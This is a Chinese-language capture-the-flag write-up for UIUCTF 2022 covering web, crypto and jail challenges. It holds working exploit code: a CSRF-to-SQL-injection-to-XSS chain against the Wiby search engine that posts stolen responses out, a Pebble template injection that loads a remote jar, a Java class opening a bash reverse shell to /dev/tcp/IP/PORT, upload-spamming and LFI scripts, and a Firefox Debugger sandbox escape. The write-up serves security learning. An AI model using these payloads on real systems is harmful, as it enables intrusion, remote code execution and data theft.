UIUCTF 2022 WriteUps

這次 TSJ 和 thehackerscrew 聯合參加了 UIUCTF,並拿到了第一名的成績。

web

woeby

這題基本上是 Wiby search engine 的 0day 題,因為網站的 url submission 要 admin review,所以還有弄個 headless chromium bot 去自動 review url。

此題出題時的 commit id 是 55fb0c3b8415a587c3eae4d897c47b5c2e2ae7eb

我解題的時候作者已經放出 hint 說這題會用到 csrf, xss 和 sqli,所以 check 一下 bot.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const { chromium } = require('playwright-chromium');
const { readFile }= require('node:fs/promises');

(async () => {
console.log('reviewing submissions...')
const browser = await chromium.launch()
const context = await browser.newContext()
context.setDefaultTimeout(2000)
const page = await context.newPage()
await page.goto('http://127.0.0.1/review/')

// cheat to solve captcha... dont worry about it
const phpsessid = (await context.cookies('http://127.0.0.1'))[0]['value']
const sessData = await readFile(`/var/lib/php/sessions/sess_${phpsessid}`, 'utf8')
const captcha = sessData.split('securimage_code_value|a:1:{s:7:"default";s:6:"')[1].substring(0,6)

// login
await page.fill('#user', 'admin')
await page.fill('#pass', process.env.ADMIN_PASSWORD)
await page.fill('input[name=captcha_code]', captcha)
await page.click('#login')

// do review!
await page.locator('text=awaiting review').waitFor();
// visit page
await page.locator('a.tlink').last().click()
await page.waitForTimeout(5000)
// finish filling form
await page.locator('input[name^=crawldepth]').last().fill('1')
await page.locator('input[name^=crawlpages]').last().fill('5')
await page.click('#submit')
await browser.close()
console.log('Success!')
})()

基本上就是登入 -> 點擊你的 url -> approve 之後讓 crawler 去 crawl。

然後看一下 review/review.php 可知它需要登入才能存取,但是它下面不遠的地方就有這段 code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($_POST['startid']) && $_SESSION["loadreview"]==false)    
{
$startID = $_POST['startid'];
$endID = $_POST['endid'];
}
// ....
if (isset($_POST['startid']) && $_SESSION["loadreview"]==false) //this is incase any new submissions are made during the review process, they will be ignored
{
$result = mysqli_query($link,"SELECT * FROM reviewqueue WHERE id >= $startID AND id <= $endID");
if(!$result)
{
$error = 'Error fetching index: ' . mysqli_error($link);
include 'error.html.php';
exit();
}
}

可以看出有個 sqli,可以用 csrf 很簡單的去觸發。因為 admin 才剛登入完成,只要在 Chromium 預設的兩分鐘內 csrf 就能不管預設的 SameSite: Lax 設定。

再來是能 sqli 的話也還是需要有辦法讀 response,而 csrf 正常是不能讀 response 的,所以還是需要 xss。不過這邊當它有 error 時 error message 就會直接被輸出到 html 中,所以用 sql syntax error 就能達成 xss 了。

因此目前的流程是 csrf -> sqli (achieve xss) -> sqli (get flag),payload 在下方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!-- <form action="http://localhost:1337/review/review.php" method="POST" id="frm"> -->
<form action="http://127.0.0.1/review/review.php" method="POST" id="frm">
<textarea name="startid"></textarea>
</form>
<script>
const xss = `(new Image).src=${JSON.stringify(location.href + '?xss')}
fetch('/review/review.php',{
method: 'POST',
body: new URLSearchParams({
startid: 'extractvalue(1,concat(char(126),(select flag from flag1)))--'
})
}).then(r=>r.text()).then(t=>{
const target = ${JSON.stringify(location.href + '?response')}
fetch(target,{
method: 'POST',
body: t,
mode: 'no-cors'
})
})
`
window.name = xss
frm.startid.value = `<script>eval(name)</`+`script>`
frm.submit()
</script>
<img src="https://deelay.me/5000/https://picsum.photos/200/300">
uiuctf{cec1e609c

因為這題的 flag 分成兩個部分 flag1 和 flag2,得分別用 approvercrawler user 去 sqli 才能拿 flag。而 review.php 使用的是 approver,所以還得另外找 crawler 的 sqli 才行。

搜尋一下其他用 crawler db 連線的檔案可以發現 insert/insert.php 特別可疑,因為裡面沒有使用 mysqli_real_escape_string 而是自己 replace 的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//	    $url = mysqli_real_escape_string($link, $_POST['url']);
$url = str_replace("\'", "\'\'", $_POST['url']);
$url = str_replace("\"", "\"\"", $url);
// $title = mysqli_real_escape_string($link, $_POST['title']);
$title = str_replace("\'", "\'\'", $_POST['title']);
$title = str_replace("\"", "\"\"", $title);
// $tags = mysqli_real_escape_string($link, $_POST['tags']);
$tags = str_replace("\'", "\'\'", $_POST['tags']);
$tags = str_replace("\"", "\"\"", $tags);
// $description = mysqli_real_escape_string($link, $_POST['description']);
$description = str_replace("\'", "\'\'", $_POST['description']);
$description = str_replace("\"", "\"\"", $description);
// $body = mysqli_real_escape_string($link, $_POST['body']);
$body = str_replace("\'", "\'\'", $_POST['body']);
$body = str_replace("\"", "\"\"", $body);
// $http = mysqli_real_escape_string($link, $_POST['http']);
$http = str_replace("\'", "\'\'", $_POST['http']);
$http = str_replace("\"", "\"\"", $http);
// $surprise = mysqli_real_escape_string($link, $_POST['surprise']);
$surprise = str_replace("\'", "\'\'", $_POST['surprise']);
$surprise = str_replace("\"", "\"\"", $surprise);
// $worksafe = mysqli_real_escape_string($link, $_POST['worksafe']);
$worksafe = str_replace("\'", "\'\'", $_POST['worksafe']);
$worksafe = str_replace("\"", "\"\"", $worksafe);
// $enable = mysqli_real_escape_string($link, $_POST['enable']);
$enable = str_replace("\'", "\'\'", $_POST['enable']);
$enable = str_replace("\"", "\"\"", $enable);
// $updatable = mysqli_real_escape_string($link, $_POST['updatable']);
$updatable = str_replace("\'", "\'\'", $_POST['updatable']);
$updatable = str_replace("\"", "\"\"", $updatable);

$sql = 'INSERT INTO windex (url,title,tags,description,body,http,surprise,worksafe,enable,updatable,approver)
VALUES ("'.$url.'","'.$title.'","'.$tags.'","'.$description.'","'.$body.'","'.$http.'","'.$surprise.'","'.$worksafe.'","'.$enable.'","'.$updatable.'","'.$_SESSION["user"].'")';


if (!mysqli_query($link, $sql))
{
$error = 'Error fetching index: ' . mysqli_error($link);
include 'error.html.php';
exit();
}

這邊有幾個錯誤,第一個是它在 " 的字串中使用了 \',所以其實它根本不會 replace 到 ',不過因為下面 sql 使用的是 " 所以這樣沒用。再來是它沒擋 \,所以在能控制多個 input 的時候可以用 ("\","a",...) 這樣的方法產生 sql injection syntax error...?

實際測試之後卻完全得不到預期中的 syntax error,之後 docker-compose exec 進去裡面的 mysql 做一些測試會發現很神奇的事:

1
2
3
4
5
6
7
mysql> select "peko\";
+-------+
| peko\ |
+-------+
| peko\ |
+-------+
1 row in set (0.00 sec)

可以發現它直接把 \ 給整個 ignore 了,但是另外開 docker container 裡面跑 mysql 卻不會這樣。這樣奇妙的狀況讓我在這個地方卡了一段時間,

後來繼續 google 了很多東西看到了這個 5.1.11 Server SQL Modes,裡面有個 NO_BACKSLASH_ESCAPES 會把 mysql 的 \ escape 給禁用。而在題目的 mysql 裡面直接執行 SELECT @@GLOBAL.sql_mode; 也就發現它確實是在這個模式下。

檢查了一下 Dockerfile 也看到它確實有設定 NO_BACKSLASH_ESCAPES,而這個是這個 Wiby search engine 安裝設定所要求的,所以這是很正常的。但是這樣的話就代表我們沒辦法在這邊 sql injection 了。

後來繼續查 NO_BACKSLASH_ESCAPES 和 sql injection 可以找到這個回答,它精簡來說就是:

NO_BACKSLASH_ESCAPES 啟用的情況下,mysql_real_escape_string 並不知道你之後會使用的是 single quotes 還是 double quotes,而它預設情況下會做的事就是假設你後面都使用 ',所以它只會把 ' replace 成為 ''。而遇到 " 的時候什麼都不會做!!!

所以後來再翻一翻其他使用 crawler user 登入的 tags/tags.php,裡面雖然用 mysqli_real_escape_string escape 了 url,但是後面 concat query 的地方使用的是 double quotes:

1
2
3
$url = mysqli_real_escape_string($link, $_POST['url']);
// ...
$result = mysqli_query($link,'SELECT tags FROM windex WHERE url = "'.$url.'";');

所以在 url 中塞 double quotes 就能直接 sqli 了。剩下因為這個檔案也是需要登入後才能存取,所以一樣是需要用前面的 xss 才行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!-- <form action="http://localhost:1337/review/review.php" method="POST" id="frm"> -->
<form action="http://127.0.0.1/review/review.php" method="POST" id="frm">
<textarea name="startid"></textarea>
</form>
<script>
const xss = `(new Image).src=${JSON.stringify(location.href + '?xss')}
fetch('/tags/tags.php',{
method: 'POST',
body: new URLSearchParams({
url: '" and extractvalue(1,concat(char(126),(select flag from flag2)))-- '
})
}).then(r=>r.text()).then(t=>{
const target = ${JSON.stringify(location.href + '?response')}
fetch(target,{
method: 'POST',
body: t,
mode: 'no-cors'
})
})
`
window.name = xss
frm.startid.value = `<script>eval(name)</` + `script>`
frm.submit()
</script>
<img src="https://deelay.me/5000/https://picsum.photos/200/300" />
ef0e05add463c52}

spoink

這題基本上是 java 的 LFI,使用的 template engine 是 Pebble Templates

首先題目沒有上傳點,所以可知大概要使用 file upload 然後 lfi temp file 才行。測試一下會知道上傳的檔案 socket file 會出現在 /proc/1/fd/? 的地方,不過存在時間很短。這部分自己測試發現很單純的暴力 spam 是能成功的:

1
while true; do curl 'https://inst-a5ff46b6db9c5682.spoink.chal.uiuc.tf/?x=../../../../../proc/1/fd/16' -F 'a=@payload' -s & ; done

之後拿 Hacktricks SSTI 的 Pebble 直接來用會失敗:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{% set cmd = 'id' %}



{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

查了一下它的 error 會找到 BlacklistMethodAccessValidator#isMethodAccessAllowed,裡面禁止了所有 object 屬於 Class 時的 method access,所以我也想不到能怎麼繞。

卡在這邊的時候 THS 的 fredd 丟了一篇 Room for Escape: Scribbling Outside the Lines of Template Security,裡面探討了各種 template engine 的安全性。裡面還表示說有 Pebble 那個保護的繞過方法,但是卻因為 The Pebble team is still fixing several bypasses we found for Pebble sandbox. Details will be released on a future date. 所以沒有現成的 payload 能用...

不過那篇文章中也有許多其他有用的資訊,像是告訴我了 Pebble 會 expose Spring Beans 的東西。而裡面有個 request 物件是 ServletRequest 相關的物件,參考文章使用了 getAttributeNames() 看看有沒有甚麼有趣的物件,然後就找到一個拿到 ClassLoader 的方法:

1
{{ request.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT").classLoader }}

拿到 ClassLoader 代表我們可以任意拿 class,但是因為沒辦法直接 call Class 的 methods,所以也不知道能做什麼。

後來繼續讀那邊在裡面找到了一個這樣的玩法 (非 Pebble):

1
2
3
4
5
<#assign urlClassloader=car.class.protectionDomain.classLoader>
<#assign urls=urlClassloader.getURLs()>
<#assign url= URLs[0].toURI().resolve("https://attack.er/pwn.jar").toURL()>
<#assign pwnClassLoader=loader.newInstance(urls+[url])>
<#assign VOID=pwnClassLoader.loadClass("Pwn").getField("PWN").get(null)>

這邊我們知道可以 load remote jar 下來,所以我就想說能不能在 loadClass 時達成 RCE。經過一番的嘗試後也真的能把我自己寫的 class load 進來,但是我寫在 static initializer 的 code 卻沒被執行。

研究了一下找到了這個問題,才知道原來 Java 的 class 有分 loaded 和 initialized,而 static initializer 在 loaded 狀態時還不會執行,所以要讓它成為 initialized。

然而讓一個 class 能 initialized 的方法好像只有兩個,一個是 newInstance,不然就是要 Class.forName,兩個我都做不到。所以又只好回去讀那篇文章,看有沒有什麼其他東西能用。

然後就在它 Web Application ClassLoaders 的章節看到 Tomcat ClassLoader 有 getResources() 能用,然後再串 getContext()getInstanceManager() 就拿到了 InstanceManager。它上面有個 newInstance 能用,所以直接用它來幫我 remote 載入下來的 class 去 newInstance 就能 RCE 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{% set cl = request.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT").classLoader %}
{% set pb = cl.loadClass("java.lang.ProcessBuilder") %}
{% set ar = cl.getURLs() %}
{% set urls = cl.parent.getURLs() %}
{% set im = cl.getResources().getContext().getInstanceManager() %}
{% for url in urls %}
{% set u =
url.toURI().resolve("REMOTE_JAR_URL").toURL() %}
{% set l = [u] %}
{% set ar = l.toArray(ar) %}
{% set jcl = cl.newInstance(ar) %}
{% set c = jcl.loadClass("Pwn") %}
{{ c }}
{{ im.newInstance(c) }}
{% endfor %}

jar 的部分很簡單:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.lang.System;
import java.lang.Runtime;

public class Pwn {
static {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/IP/PORT 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}

public static void main(String[] args) { }
}
// javac Pwn.java
// jar cf pwn.jar Pwn.class

另外後來問作者關於我暴力上傳那部分是對的嗎,而作者說可以直接讓 upload 卡住就行了。就 multipart form data 的檔案不要讓它結束掉,而是讓它卡著,然後另外發送一個 request 去 LFI 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

host = "inst-29c2fc660ac14e62.spoink.chal.uiuc.tf"
port = 443

payload = b"""
{% set cl = request.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT").classLoader %}
{% set pb = cl.loadClass("java.lang.ProcessBuilder") %}
{% set ar = cl.getURLs() %}
{% set urls = cl.parent.getURLs() %}

{% set im = cl.getResources().getContext().getInstanceManager() %}

{% for url in urls %}
{% set u =
url.toURI().resolve("REMOTE_JAR_URL").toURL() %}
{% set l = [u] %}
{% set ar = l.toArray(ar) %}
{% set jcl = cl.newInstance(ar) %}
{% set c = jcl.loadClass("Pwn") %}
{{ c }}
{{ im.newInstance(c) }}
{% endfor %}
"""
payload += b"x" * 1337

body = b"-----------------------------606f6c40cdbf678a\r\n"
body += b'Content-Disposition: form-data; name="lolz"\r\n'
body += b"\r\n"
body += payload

# do not end content disposition
# body += b"-----------------------------606f6c40cdbf678a--\r\n"
# body += b"\r\n"

p = b"POST / HTTP/1.1\r\n"
p += f"Host: {host}\r\n".encode()
p += b"Content-Type: multipart/form-data; boundary=---------------------------606f6c40cdbf678a\r\n"
p += "Content-Length: {}\r\n\r\n".format(len(body) + 1000).encode()
p += body

# io = remote(host, port)
io = remote(host, port, ssl=True)
io.send(p)
for _ in range(1000):
print(_)
sleep(0.1)
io.send(b"a")
io.interactive()

# then run this in another terminal
# curl 'https://inst-29c2fc660ac14e62.spoink.chal.uiuc.tf/?x=../../../../../proc/1/fd/14'
# the number `14` can be changed

另外這邊是這題的另一個 writeup 可以參考: https://blog.arkark.dev/2022/08/01/uiuctf/ (日本語)

crypto

asr

這題是個 RSA 題,題目提供了 ,反而沒有 public key 的

prime 生成部分如下:

1
2
3
4
5
6
7
8
9
10
11
small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37]
def gen_prime(bits, lim = 7, sz = 64):
while True:
p = prod([getPrime(sz) for _ in range(bits//sz)])
for i in range(lim):
if isPrime(p+1):
return p+1
p *= small_primes[i]

p = gen_prime(512)
q = gen_prime(512)

從這邊可以知道 都是 smooth,同時 也是 的倍數,所以用 ecm 分解一下就出來了。

得到 的分解之後知道它正好有 16 個 64 bits prime,所以 種組合都爆破,然後多承那些 small primes 回去之後加一,如果是質數的話就有可能是 了。

因為 flag 長度應該不長,所以只要得到一個 或是 其實就足夠了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from itertools import combinations
from Crypto.Util.number import isPrime, long_to_bytes

e = 65537
d = 195285722677343056731308789302965842898515630705905989253864700147610471486140197351850817673117692460241696816114531352324651403853171392804745693538688912545296861525940847905313261324431856121426611991563634798757309882637947424059539232910352573618475579466190912888605860293465441434324139634261315613929473
ct = 212118183964533878687650903337696329626088379125296944148034924018434446792800531043981892206180946802424273758169180391641372690881250694674772100520951338387690486150086059888545223362117314871848416041394861399201900469160864641377209190150270559789319354306267000948644929585048244599181272990506465820030285

kphi = e*d-1
print(kphi)
# ecm.factor(kphi)
fact = [2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 5, 5, 5, 7, 7, 11, 10357495682248249393, 10441209995968076929, 10476183267045952117, 11157595634841645959, 11865228112172030291, 12775011866496218557, 13403263815706423849, 13923226921736843531, 14497899396819662177, 14695627525823270231, 15789155524315171763, 16070004423296465647, 16303174734043925501, 16755840154173074063, 17757525673663327889, 18318015934220252801]
big = [f for f in fact if f > 100]
small = sorted(list(set([f for f in fact if f < 100])))

small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37]
for ps in combinations(big, 8):
p = product(ps)
for i in range(len(small)):
p *= small_primes[i]
if isPrime(p+1):
print('pr', p+1)
print(long_to_bytes(power_mod(ct, d, p+1)))
# uiuctf{bru4e_f0rc3_1s_FUn_fuN_Fun_f0r_The_whOLe_F4miLY!}

*Wringing Rings

比賽中沒解,紀錄一下我用的不同解法

這題有個 的九次多項式 ,然後給予你九個 SSS 的 share,目標要得到 。且多項式的係數 都在 的 範圍中。

一個直接的解法是爆第十個 share,然後嘗試插值之後看看符不符合範圍。或是列矩陣出來得到一個解,然後加上 kernel 去爆一下也可以,兩個解法都差不多。

我的作法是一樣列出矩陣,但是直接 LLL 就得到解了,因為係數的那個範圍其實不大,所以預期為 shortest vector,然後也真的能成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from sage.all import *
import ast

# io = process(["python", "server.py"])
io = remote("ring.chal.uiuc.tf", 1337)
io.recvuntil(b'polynomial: \n')
xs = []
ys = []
for _ in range(9):
x, y = ast.literal_eval(io.recvlineS().strip())
xs.append(x)
ys.append(y)

print(xs)
print(ys)
M = matrix([[x**i for i in range(9 + 1)] for x in xs])
M = M.T.stack(vector(ys))
M = M.augment(matrix.identity(11))
M[:,:9] *= 2 ** 32
sol = -M.LLL()[0][9:-1]
io.sendline(str(sol[0]).encode())
io.interactive()
# uiuctf{turn5_0ut_th4t_th3_1nt3g3r5_4l50_5uck}

另外在 cryptohack 的 discord 有看到有人用 crt,但我並不是很理解那個做法。

jail

Firefox Shell 1

這題是一個在 Firefox 的 SpiderMonkey 上的 jail escape,作者不僅把 node.js 的 REPL port 到了上面,還多加了一個 .debug 指令能讓我們得到 Debugger API 的使用權。

這題和這個的第二題不同的地方在於它沒有設定一個 hardened 的選項,而那影響到的是 repl.js 的這邊:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
case '.debug':
const target = this.getTarget();
const debuggerSandboxUnpriv = Cu.waiveXrays(
Cu.Sandbox(target, {
freshCompartment: true,
wantXrays: false,
})
);
addDebuggerToGlobal(debuggerSandboxUnpriv);

const principal = Cu.getObjectPrincipal(this.getTarget());
if (!principal.isSystemPrincipal && Configuration.hardened) {
delete debuggerSandboxUnpriv.Debugger.prototype.addAllGlobalsAsDebuggees;
delete debuggerSandboxUnpriv.Debugger.prototype.findAllGlobals;
delete debuggerSandboxUnpriv.Debugger.prototype.onNewGlobalObject;
}

Cu.waiveXrays(target).Debugger = debuggerSandboxUnpriv.Debugger;
return true;

可以知道它會移除掉三個額外的函數,所以關鍵明顯是和這三個函數有關。讀一下 Debugger Object 能知道說這三個 api 都是和 privileged code 有關。

1
2
3
4
.debug
dbg=new Debugger()
dbg.addAllGlobalsAsDebuggees()
a=dbg.getDebuggees()

用上面的 code 測試一下會發現 a 裡面會跑出很多物件,對照了一下它的 prototype 可知它是 Debugger.Object 物件,有點像是 debuggee 中的物件的一層 proxy,可以透過它操作很多東西。

跑一下 a.map(x=>x.getOwnPropertyNames()) 會發現很多有趣的東西,其中還有幾個物件擁有 Cu 之類的東西出現,而那東西看起來就像是 privileged api 之類的功能,但是問題在於我們不知道怎麼使用那東西。

首先是它可以使用 x.getProperty(...).return 去取得其他的 proxy 物件,不過其實還有個更好使用的 executeInGlobal 能讓你在那個 context 下 eval。

再來 Google 一下可以查到像是 How to read a local file in an add-on for Firefox version 45+,裡面就有簡單的範例說明怎麼用 Cu 之類的物件,所以拼湊一下就能撈出 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.debug
dbg=new Debugger();
dbg.addAllGlobalsAsDebuggees()
a=dbg.getDebuggees()
for(const x of a){
if(x.getOwnPropertyNames().includes('Cu')){
globalThis.p=x.executeInGlobal(`
Cu.import("resource://gre/modules/osfile.jsm", {}).OS.File.read("/flag")
`).return
break
}
}
u8=globalThis.p.promiseValue
ar=[]
for(let i=0;i<u8.getProperty('length').return;i++){
ar.push(u8.getProperty(i).return)
}
ar.map(x=>String.fromCharCode(x)).join('')
// uiuctf{why_mozilla_why_docs_either_deleted_or_bad_3466658a}

另外後來作者還有加說明表示說如果得到了 privilege escalation 之後就沒有 SOP 了,所以直接 fetch("file:///flag") 其實就夠了。如果 global 沒有 fetch 的話就 Cu.importGlobalProperties(['fetch'])